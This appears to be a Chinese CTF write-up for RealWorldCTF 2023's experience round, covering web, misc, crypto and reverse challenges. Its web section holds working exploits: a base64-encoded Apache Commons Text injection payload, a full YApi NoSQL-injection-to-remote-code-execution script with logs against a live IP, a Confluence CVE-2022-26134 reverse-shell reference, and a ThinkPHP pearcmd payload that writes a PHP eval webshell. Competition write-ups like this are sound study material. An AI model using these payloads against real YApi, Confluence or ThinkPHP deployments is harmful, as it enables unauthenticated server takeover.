RealWorldCTF2023体验赛WP

admin 2023年1月10日12:09:32评论191 views字数 18432阅读61分26秒阅读模式

此次比赛Torchwood战队与信阳师范学院21级的XH师傅联合,最终获得了总榜第18,高校13名的好成绩。

RealWorldCTF2023体验赛WP

Web

Evil MySQL Server

文章https://www.cnblogs.com/BOHB-yunying/p/10820453.html

考察mysql的 LOAD DATA 读取客户端任意文件

工具下载:https://github.com/allyshka/Rogue-MySql-Server

题目提示flag在/flag

修改脚本,读取/flag,

python rogue_mysql_server.py &

然后连接数据库,访问mysql.log得到flag

RealWorldCTF2023体验赛WP

ApacheCommandText

考察java表达式注入,但是进行了过滤,需要bypass,用base64进行绕过

payload

${base64Decoder:JHtzY3JpcHQ6anM6bmV3IGphdmEudXRpbC5TY2FubmVyKG5ldyBqYXZhLmxhbmcuUHJvY2Vzc0J1aWxkZXIoJy9iaW4vc2gnLCctYycsICcvcmVhZGZsYWcnKS5zdGFydCgpLmdldElucHV0U3RyZWFtKCksICdHQksnKS51c2VEZWxpbWl0ZXIoJyAnKS5uZXh0KCl9=}

Yummy Api

YApi版本1.10.2,以前的不能用,找到文章https://paper.seebug.org/2028/

1.12.0版本之前,存在一处NoSQL注入漏洞,通过该漏洞攻击者可以窃取项目Token,并利用这个Token执行任意Mock脚本,获取服务器权限。

POC:

import requests
import json
import click
import re
import sys
import logging
import hashlib
import binascii
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from urllib.parse import urljoin

logger = logging.getLogger('attacker')
logger.setLevel('WARNING')
ch = logging.StreamHandler(sys.stdout)
ch.setFormatter(logging.Formatter('%(asctime)s - %(message)s'))
logger.addHandler(ch)
choices = 'abcedf0123456789'
script_template = r'''const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
const Buffer = FunctionConstructor('return Buffer')()
const output = process.mainModule.require("child_process").execSync(Buffer.from('%s', 'hex').toString()).toString()
context.responseData = 'testtest' + output + 'testtest'
'''



def compute(passphase: str):
    nkey = 24
    niv = 16
    key = ''
    iv = ''
    p = ''

    while True:
        h = hashlib.md5()
        h.update(binascii.unhexlify(p))
        h.update(passphase.encode())
        p = h.hexdigest()

        i = 0
        n = min(len(p) - i, 2 * nkey)
        nkey -= n // 2
        key += p[i:i + n]
        i += n
        n = min(len(p) - i, 2 * niv)
        niv -= n // 2
        iv += p[i:i + n]
        i += n

        if nkey + niv == 0:
            return binascii.unhexlify(key), binascii.unhexlify(iv)


def aes_encode(data):
    key, iv = compute('abcde')
    padder = padding.PKCS7(128).padder()
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
    encryptor = cipher.encryptor()
    ct = encryptor.update(padder.update(data.encode()) + padder.finalize()) + encryptor.finalize()
    return binascii.hexlify(ct).decode()


def aes_decode(data):
    key, iv = compute('abcde')
    unpadder = padding.PKCS7(128).unpadder()
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
    decryptor = cipher.decryptor()
    ct = decryptor.update(binascii.unhexlify(data)) + decryptor.finalize()
    ct = unpadder.update(ct) + unpadder.finalize()
    return ct.decode().strip()


def brute_token(target, already):
    url = urljoin(target, '/api/interface/up')
    current = '^'
    for i in range(20):
        for ch in choices:
            guess = current + ch
            data = {
                'id'-1,
                'token': {
                    '$regex': guess,
                    '$nin': already
                }
            }
            headers = {
                'Content-Type''application/json'
            }
            response = requests.post(url,
                                     data=json.dumps(data),
                                     headers=headers,
                                     # proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
                                     # verify=False,
                                     )
            res = response.json()

            if res['errcode'] == 400:
                current = guess
                break

        logger.debug(f'current cuess: {current}')

    return current[1:]


def find_owner_uid(target, token):
    url = urljoin(target, '/api/project/get')
    for i in range(1200):
        params = {'token': aes_encode(f'{i}|{token}')}
        response = requests.get(url, params=params,
                            # proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
                            # verify=False,
                            )
        data = response.json()
        if data['errcode'] == 0:
            return i

    return None


def find_project(target, token, pid=None):
    url = urljoin(target, '/api/project/get')
    params = {'token': token}
    if pid:
        params['id'] = pid

    response = requests.get(url,
                            params=params,
                            #proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
                            #verify=False,
                            )
    data = response.json()

    if data['errcode'] == 0:
        return data['data']


def find_col(target, token, brute_from, brute_to):
    url = urljoin(target, '/api/open/run_auto_test')

    for i in range(brute_from, brute_to):
        try:
            params = {'token': token, 'id': i, "mode""json"}
            response = requests.get(url,
                                    params=params,
                                    timeout=5,
                                    #proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
                                    #verify=False,
                                    )

            data = response.json()
            if 'message' not in data:
                continue

            if data['message']['len'] > 0:
                logger.debug('Test Result Found: %r', response.url)
                yield i
        except requests.exceptions.Timeout:
            logger.debug('id=%d timeout', i)
            pass


def update_project(target, token, project_id, command):
    url = urljoin(target, '/api/project/up')

    command_hex = command.encode().hex()
    script = script_template % command_hex
    response = requests.post(url,
                             params={'token': token},
                             json={'id': project_id, 'after_script': script},
                             # proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
                             # verify=False,
                             )
    data = response.json()
    return data['errcode'] == 0


def run_auto_test(target, token, col_id):
    url = urljoin(target, '/api/open/run_auto_test')

    response = requests.get(url, 
                            params={'token': token, 'id': col_id, 'mode''json'},
                            # proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
                            # verify=False,
                            )

    try:
        data = response.json()
        return data['list'][0]['res_body'][8:-8]
    except (requests.exceptions.JSONDecodeError, KeyError, IndexError, TypeError) as e:
        g = re.search(br'testtest(.*?)testtest', response.content, re.I | re.S)
        if g:
            return g.group(1).decode()
        else:
            return None


def clear_project(target, token, project_id, old_after_script):
    url = urljoin(target, '/api/project/up')
    response = requests.post(url, params={'token': token}, json={'id': project_id, 'after_script': old_after_script})
    data = response.json()
    return data['errcode'] == 0


@click.group()
@click.option('--debug', 'debug', is_flag=True, type=bool, required=False, default=False)
def cli(debug):
    if debug:
        logger.setLevel('DEBUG')


@cli.command('enc')
@click.argument('data', type=str, required=True)
def cmd_enc(data: str):
    click.echo(aes_encode(data))


@cli.command('dec')
@click.argument('data', type=str, required=True)
def cmd_dec(data: str):
    click.echo(aes_decode(data))


@cli.command('token')
@click.option('-u', '--url', type=str, required=True)
@click.option('-c', '--count', type=int, default=5)
def cmd_token(url, count):
    already = []
    for i in range(count):
        token = brute_token(url, already)
        if not token:
            break

        click.echo(f'find a valid token: {token}')
        already.append(token)


@cli.command('owner')
@click.option('-u', '--url', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
def cmd_owner(url, token):
    aid = find_owner_uid(url, token)
    e = aes_encode(f'{aid}|{token}')
    click.echo(f'your owner id is: {aid}, encrypted token is {e}')


@cli.command('project')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
def cmd_project(url, owner, token):
    token = aes_encode(f'{owner}|{token}')
    project = find_project(url, token)
    if project:
        logger.info('[+] project by this token: %r', project)
        click.echo(f'your project id is: {project["_id"]}')


@cli.command('col')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
@click.option('--from', 'brute_from', type=int, required=False, default=1, help='Brute Col id from this number')
@click.option('--to', 'brute_to', type=int, required=False, default=200, help='Brute Col id to this number')
def cmd_col(url, owner, token, brute_from, brute_to):
    token = aes_encode(f'{owner}|{token}')
    for i in find_col(url, token, brute_from, brute_to):
        click.echo(f'found a valid col id: {i}')


@cli.command('rce')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
@click.option('--pid', 'project_id', type=int, required=True)
@click.option('--cid', 'col_id', type=int, required=True)
@click.option('-c', '--command', 'command', type=str, required=True, help='Command that you want to execute')
def cmd_rce(url, owner, token, project_id, col_id, command):
    token = aes_encode(f'{owner}|{token}')
    project = find_project(url, token, project_id)
    if not project:
        click.echo('[-] failed to get project')
        return False

    old_after_script = project.get('after_script''')
    if not update_project(url, token, project_id, command):
        click.echo('[-] failed to update project')
        return False

    output = run_auto_test(url, token, col_id)
    if output:
        click.echo(output)
        clear_project(url, token, project_id, old_after_script)
        return True

    clear_project(url, token, project_id, old_after_script)
    return False


@cli.command('one4all')
@click.option('-u', '--url', type=str, required=True)
@click.option('--count', type=int, default=5)
@click.option('-c', '--command', type=str, default='id')
def cmd_one4all(url, count, command):
    already = []
    for i in range(count):
        token = brute_token(url, already)
        if not token:
            logger.info('[-] no new token found, exit...')
            break

        already.append(token)
        logger.info('[+] find a new token: %s', token)
        owner_id = find_owner_uid(url, token)
        if not owner_id:
            logger.info('[-] failed to find the owner id using token %s', token)
            continue

        etoken = aes_encode(f'{owner_id}|{token}')
        logger.info('[+] find a new owner id: %r, encrypted token: %s', owner_id, etoken)
        project = find_project(url, etoken)
        if not project:
            logger.info('[-] failed to find project using token %s', token)
            continue

        project_id = project['_id']
        logger.info('[+] project_id = %s, project = %r', project_id, project)
        col_ids = find_col(url, etoken, 1200)
        if not col_ids:
            logger.info('[+] failed to find cols in project %s, try next project...', project_id)

        for col_id in col_ids:
            logger.info('[+] col_id = %s', col_id)
            click.echo(f'hit: project_id: {project_id} | owner_id: {owner_id} | col_id: {col_id} | token: {token}')
            click.echo(f'suggestion: python {sys.argv[0]} rce -u {url} -t {token} -o {owner_id} --pid {project_id} --cid {col_id} --command="{command}"')

            if cmd_rce.callback(url, owner_id, token, project_id, col_id, command):
                return


if __name__ == '__main__':
    cli()

可以登录以后直接打,执行:

python poc.py --debug one4all -u http://47.98.161.119:8080/
2023-01-07 22:58:17,376 - current cuess: ^d
2023-01-07 22:58:18,213 - current cuess: ^d2
2023-01-07 22:58:18,288 - current cuess: ^d2a
2023-01-07 22:58:19,525 - current cuess: ^d2a6
2023-01-07 22:58:20,804 - current cuess: ^d2a67
2023-01-07 22:58:22,167 - current cuess: ^d2a678
2023-01-07 22:58:22,887 - current cuess: ^d2a6781
2023-01-07 22:58:23,928 - current cuess: ^d2a67815
2023-01-07 22:58:24,539 - current cuess: ^d2a67815f
2023-01-07 22:58:24,974 - current cuess: ^d2a67815ff
2023-01-07 22:58:25,359 - current cuess: ^d2a67815ffe
2023-01-07 22:58:26,733 - current cuess: ^d2a67815ffe7
2023-01-07 22:58:26,947 - current cuess: ^d2a67815ffe7b
2023-01-07 22:58:27,408 - current cuess: ^d2a67815ffe7bd
2023-01-07 22:58:28,429 - current cuess: ^d2a67815ffe7bd3
2023-01-07 22:58:28,830 - current cuess: ^d2a67815ffe7bd3e
2023-01-07 22:58:29,040 - current cuess: ^d2a67815ffe7bd3eb
2023-01-07 22:58:29,712 - current cuess: ^d2a67815ffe7bd3eb0
2023-01-07 22:58:30,507 - current cuess: ^d2a67815ffe7bd3eb01
2023-01-07 22:58:31,475 - current cuess: ^d2a67815ffe7bd3eb015
2023-01-07 22:58:31,476 - [+] find a new token: d2a67815ffe7bd3eb015
2023-01-07 22:58:32,555 - [+] find a new owner id: 11, encrypted token: 49bd00e3d9a1093d38b80c6c2b9ee7756939491f4ecb7b6060d895951b7c5dcc
2023-01-07 22:58:32,627 - [+] project_id = 69, project = {'switch_notice': True, 'is_mock_open': True, 'strice': False, 'is_json5': False, '_id': 69, 'name''aaa''basepath''''project_type''private''uid': 11, 'group_id': 11, 'icon''code-o''color''pink''add_time': 1673103474, 'up_time': 1673103490, 'env': [{'header': [], 'global': [], '_id''63b9887292bc38005633db44''name''local''domain''http://127.0.0.1'}], 'tag': [], 'project_mock_script''const sandbox = thisrn// 获取当前对象的构造方法rnconst ObjectConstructor = this.constructorrn// 获取方法的构造方法rnconst FunctionConstructor = ObjectConstructor.constructorrn// 动态定义方法,返回process对象,process全局可用rn const myfun = FunctionConstructor('return process')rn const process = myfun()rn // 执行shell命令rn mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()''cat': [], 'role''admin'}
2023-01-07 22:58:38,866 - Test Result Found: 'http://47.98.161.119:8080/api/open/run_auto_test?token=49bd00e3d9a1093d38b80c6c2b9ee7756939491f4ecb7b6060d895951b7c5dcc&id=66&mode=json'
2023-01-07 22:58:38,866 - [+] col_id = 66
hit: project_id: 69 | owner_id: 11 | col_id: 66 | token: d2a67815ffe7bd3eb015
suggestion: python poc.py rce -u http://47.98.161.119:8080/ -t d2a67815ffe7bd3eb015 -o 11 --pid 69 --cid 66 --command="id"
uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)

然后直接执行命令就可以了

python poc.py rce -u http://47.98.161.119:8080/ -t d2a67815ffe7bd3eb015 -o 11 --pid 69 --cid 66 --command="/readflag"
rwctf{y0u_h4ve_f0und_yvmmy_@pi_f0r_c1ph3r_ch4ll3ng3s}

Be-a-Wiki-Hacker

打开发现是基于基于 Atlassian Confluence 7.13.6 技术构建,直接搜,正好碰到CVE-2022-26134

攻击者可利用漏洞在未经身份验证的情况下,远程构造OGNL表达式进行注入,在Confluence Server或Data Center上执行任意代码。

工具:https://github.com/0x14dli/cve2022-26134exp

直接使用反弹shell

RealWorldCTF2023体验赛WP

confluence@5922288b0d33:~$ cat /flag     
cat /flag
rwctf{154fea37c0f14b519942931db23e89e8}

Be-a-Language-Expert

payload:

/index.php?+config-create+/&lang=../../../../../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_REQUEST['a']);?>+/tmp/ab1.php

ThinkPHP V6.0.12LTS多语言模块RCE

通过pearcmd文件包含实现写入一句话

RealWorldCTF2023体验赛WP

蚁剑连接根目录flag读取需要权限,发现readflag的程序尝试运行得出flag

RealWorldCTF2023体验赛WP

/index.php?+config-create+/&lang=../../../../../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_REQUEST['a']);?>+/tmp/ab1.php


Misc

🐑了拼🐑

玩游戏即可赢flag

RealWorldCTF2023体验赛WP

直接查看网页js源码也可以

Be-a-Famicom-Hacker

魂斗罗,在网上随便下一个fc模拟器,输入金手指

0032-01-99 1P生命
00AE-01-01 1P隐身无敌
00AA-01-01 武器(把后面的03改01是M 02是F 03是S 04是L)

通关之后激发隐藏彩蛋,玩游戏的时候记得存档,尤其击败最终boss的时候 https://www.bilibili.com/video/BV1Ns41117rH/?spm_id_from=333.337.search-card.all.click&vd_source=fa7dbaf4b19e4cbbda87a0b4ac15773b

Get flag

RealWorldCTF2023体验赛WP

Be-a-PK-LPE-Master

根据题目提示找到相应脚本,prefixes更换为对应字符串

RealWorldCTF2023体验赛WP

from hashlib import sha256
import sys
from pwn import *
from pwnlib.util.iters import mbruteforce
import string


prefixes = 'iHzxx'
def brute(cur):

    content = prefixes + str(cur)
    s = sha256(content.encode())
    if s.hexdigest().startswith("000000"and int(s.hexdigest()[6:8], 16) < 0x40:
        return True

    return False


mbruteforce(brute, string.ascii_lowercase + string.digits, method = 'upto', length=6,  threads = 20)

运行脚本后得到答案后进入,提示需要账号和密码,猜测账号ubuntu,密码root成功进入ubuntu

RealWorldCTF2023体验赛WP

在根目录找到flag

RealWorldCTF2023体验赛WP

Crypto

babyCurve

首先根据add函数

def add(A, B):
    (u, v), (w, x) = A, B
    assert u != w or v == x
    if u == w: m = (3*u*w + 4*u + 1) * i(v+x)
    else: m = (x-v) * i(w-u)
    y = m*m - u - w - 2
    z = m*(u-y) - v
    return y % p, z % p

其中if u == w: m = (3*u*w + 4*u + 1) * i(v+x),函数i为求逆元,通过对此判别式积分可以推算出曲线方程为,又因为点在曲线上,可以得出,则曲线方程为。其存在奇点

参考本篇文章https://crypto.stackexchange.com/questions/61302/how-to-solve-this-ecdlp可以求出x,exp如下

#sage
p = 193387944202565886198256260591909756041
# P.<x> = GF(p)[]
PR.<x> = PolynomialRing(Zmod(p))
f = x ** 3 + 2 * x ** 2 + x
P = (4,10)
Q = (65639504587209705872811542111125696405,125330437930804525313353306745824609665)
# root = f.roots()
# print(root)
#Singular point (-1,0)
k = 193387944202565886198256260591909756040
ff = f.subs(x = x - 1)
print(ff.factor())
#(x + 193387944202565886198256260591909756040) * x^2
PP = (P[0] - 193387944202565886198256260591909756040,P[1])
QQ = (Q[0] - 193387944202565886198256260591909756040,Q[1])
t = GF(p)(193387944202565886198256260591909756040).square_root()

u = (PP[1] + t * PP[0]) / (PP[1] - t * PP[0]) % p
v = (QQ[1] + t * QQ[0]) / (QQ[1] - t * QQ[0]) % p
x = v.log(u)
#x = 4470735776084208177429085432176719338

结果发现用这个x无法求出flag,说明还要算上阶的倍数,最后得到flag

#sage
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
x = 4470735776084208177429085432176719338
print(x)
kk=u.multiplicative_order()
enc = bytes.fromhex('b3669dc657cef9dc17db4de5287cd1a1e8a48184ed9746f4c52d3b9f8186ec046d6fb1b8ed1b45111c35b546204b68e0')
while x < p:
    x += kk
    aes = AES.new(long_to_bytes(x),AES.MODE_CBC,bytes(16))
    flag = aes.decrypt(enc)
    print(flag)
b'rwctf{Singular_Elliptic_Curve_is_easy_to_break} '

Re

Snake

打开游戏试玩一下

RealWorldCTF2023体验赛WP

RealWorldCTF2023体验赛WP

尝试对得分或蛇增加的长度数值进行修改

RealWorldCTF2023体验赛WP

几次对数值进行搜索后可直接找到地址,直接修改成较大值后继续游玩可得到flag

RealWorldCTF2023体验赛WP



原文始发于微信公众号(火炬木攻防实验室):RealWorldCTF2023体验赛WP

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月10日12:09:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   RealWorldCTF2023体验赛WPhttps://cn-sec.com/archives/1509436.html

发表评论

匿名网友 填写信息